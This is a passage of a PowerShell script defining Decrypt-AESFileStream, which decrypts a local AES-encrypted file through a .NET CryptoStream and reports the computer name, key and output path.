Dependencies: None 896 | Optional Dependencies: None 897 | 898 | .DESCRIPTION 899 | 900 | Uses .NET to decrypt using file stream rather than fully in mem. 901 | 902 | Refrence: https://stackoverflow.com/questions/1153126/how-to-create-a-zip-archive-with-powershell 903 | https://msdn.microsoft.com/en-us/library/system.security.cryptography.cryptostream.cryptostream(v=vs.110).aspx 904 | https://gallery.technet.microsoft.com/scriptcenter/EncryptDecrypt-files-use-65e7ae5d 905 | 906 | 907 | .PARAMETER DestionationDirectory 908 | 909 | Required Destionation directory of file to be placed on disk 910 | 911 | .PARAMETER DestionationFile 912 | 913 | Required Destionation file name to be placed on disk 914 | 915 | .PARAMETER EncryptedFileName 916 | 917 | Required encrypted file name 918 | 919 | .PARAMETER EncryptedFilePath 920 | 921 | Required encrypted file path 922 | 923 | .PARAMETER AesKey 924 | 925 | Required AES key to be used for decryption 926 | 927 | .NOTES 928 | 929 | Adapted from Tyler Siegrist. 930 | 931 | .EXAMPLE 932 | 933 | Decrypt-AESFileStream -DestionationDirectory 'C:\Users\admin\Desktop\' -DestionationFile 'secrets2.txt' -EncryptedFileName 'secrets.crypto' -EncryptedFilePath 'C:\Users\admin\Desktop\' -AesKey 7f/3e9cQF8yx2UNhG/Dc6XYLKYqXptK1ALB+tP3QUwA= -Verbose 934 | 935 | Computer Key Files 936 | -------- --- ----- 937 | RYMDEKO-TEST 7f/3e9cQF8yx2UNhG/Dc6XYLKYqXptK1ALB+tP3QUwA= C:\Users\admin\Desktop\secrets2.txt 938 | 939 | #> 940 | 941 | [CmdletBinding()] 942 | Param ( 943 | [Parameter(Mandatory = $true, Position = 0)] 944 | [String] 945 | $DestionationDirectory, 946 | 947 | [Parameter(Mandatory = $true, Position = 1)] 948 | [String] 949 | $DestionationFile, 950 | 951 | [Parameter(Mandatory = $true, Position = 2)] 952 | [string] 953 | $EncryptedFileName, 954 | 955 | [Parameter(Mandatory = $true, Position = 3)] 956 | [string] 957 | $EncryptedFilePath, 958 | 959 | [Parameter(Mandatory = $true, Position = 4)] 960 | [string] 961 | $AesKey 962 | ) 963 | 964 | Begin { 965 | $ErrorActionPreference = "Stop" 966 | $EncryptedFile = "$EncryptedFilePath$EncryptedFileName" 967 | $FileName = "$DestionationDirectory$DestionationFile" 968 | [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography') 969 | $AESProvider = Create-AesManagedObject -AesKey $AesKey 970 | } 971 | 972 | Process { 973 | # create the file stream for the encryptor 974 | Try 975 | { 976 | $FileStreamReader = New-Object System.IO.FileStream($EncryptedFile, [System.IO.FileMode]::Open) 977 | } 978 | Catch 979 | { 980 | Write-Error "[!] Unable to open file stream object: $EncryptedFile " 981 | exit 982 | } 983 | # create destination file 984 | Try 985 | { 986 | $FileStreamWriter = New-Object System.IO.FileStream($FileName, [System.IO.FileMode]::Create) 987 | } 988 | Catch 989 | { 990 | Write-Error "[!] Unable to open file to write: $FileStreamWriter" 991 | $FileStreamReader.Close() 992 | $FileStreamWriter.Close() 993 | exit 994 | } 995 | #Get IV 996 | try 997 | { 998 | [Byte[]]$LenIV = New-Object Byte[] 4 999 | $FileStreamReader.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null 1000 | $FileStreamReader.Read($LenIV, 0, 3) | Out-Null 1001 | [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0) 1002 | [Byte[]]$IV = New-Object Byte[] $LIV 1003 | $FileStreamReader.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null 1004 | $FileStreamReader.Read($IV, 0, $LIV) | Out-Null 1005 | $AESProvider.IV = $IV 1006 | Write-Verbose "[*] Decrypting $EncryptedFile with an IV of $([System.Convert]::ToBase64String($AESProvider.IV))" 1007 | 1008 | } 1009 | catch 1010 | { 1011 | Write-Error '[!] Bad IV or File coruption of IV header, check back to backup data returned from encryption.' 1012 | return 1013 | } 1014 | 1015 | # decrypt routine 1016 | try 1017 | { 1018 | $Transform = $AESProvider.CreateDecryptor() 1019 | [Int]$Count = 0 1020 | [Int]$BlockSizeBytes = $AESProvider.BlockSize / 8 1021 | [Byte[]]$Data = New-Object Byte[] $BlockSizeBytes 1022 | $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) 1023 | Do 1024 | { 1025 | $Count = $FileStreamReader.Read($Data, 0, $BlockSizeBytes) 1026 | $CryptoStream.Write($Data, 0, $Count) 1027 | } 1028 | While ($Count -gt 0) 1029 | 1030 | $CryptoStream.FlushFinalBlock() 1031 | $CryptoStream.Close() 1032 | $FileStreamWriter.Close() 1033 | $FileStreamReader.Close() 1034 | Write-Verbose "Successfully decrypted file: $EncryptedFile" 1035 | } 1036 | catch 1037 | { 1038 | Write-Error "Failed to decrypt $EncryptedFile" 1039 | $CryptoStream.Close() 1040 | $FileStreamWriter.Close() 1041 | $FileStreamReader.Close() 1042 | Remove-Item $FileName -Force 1043 | } 1044 | } 1045 | 1046 | End { 1047 | $len = (Get-Item "$FileName").length 1048 | # TODO: re write the add-type before using this 1049 | # $size = Convert-Size -Size $len 1050 | $size = $len 1051 | Write-Verbose "[*] Final decrypted file size: $size" 1052 | $Result = New-Object –TypeName PSObject 1053 | $Result | Add-Member –MemberType NoteProperty –Name Computer –Value $env:COMPUTERNAME 1054 | $Result | Add-Member –MemberType NoteProperty –Name Key –Value $AesKey 1055 | $Result | Add-Member –MemberType NoteProperty –Name Files –Value $FileName 1056 | return $Result 1057 | } 1058 | 1059 | 1060 | } 1061 | 1062 | --------------------------------------------------------------------------------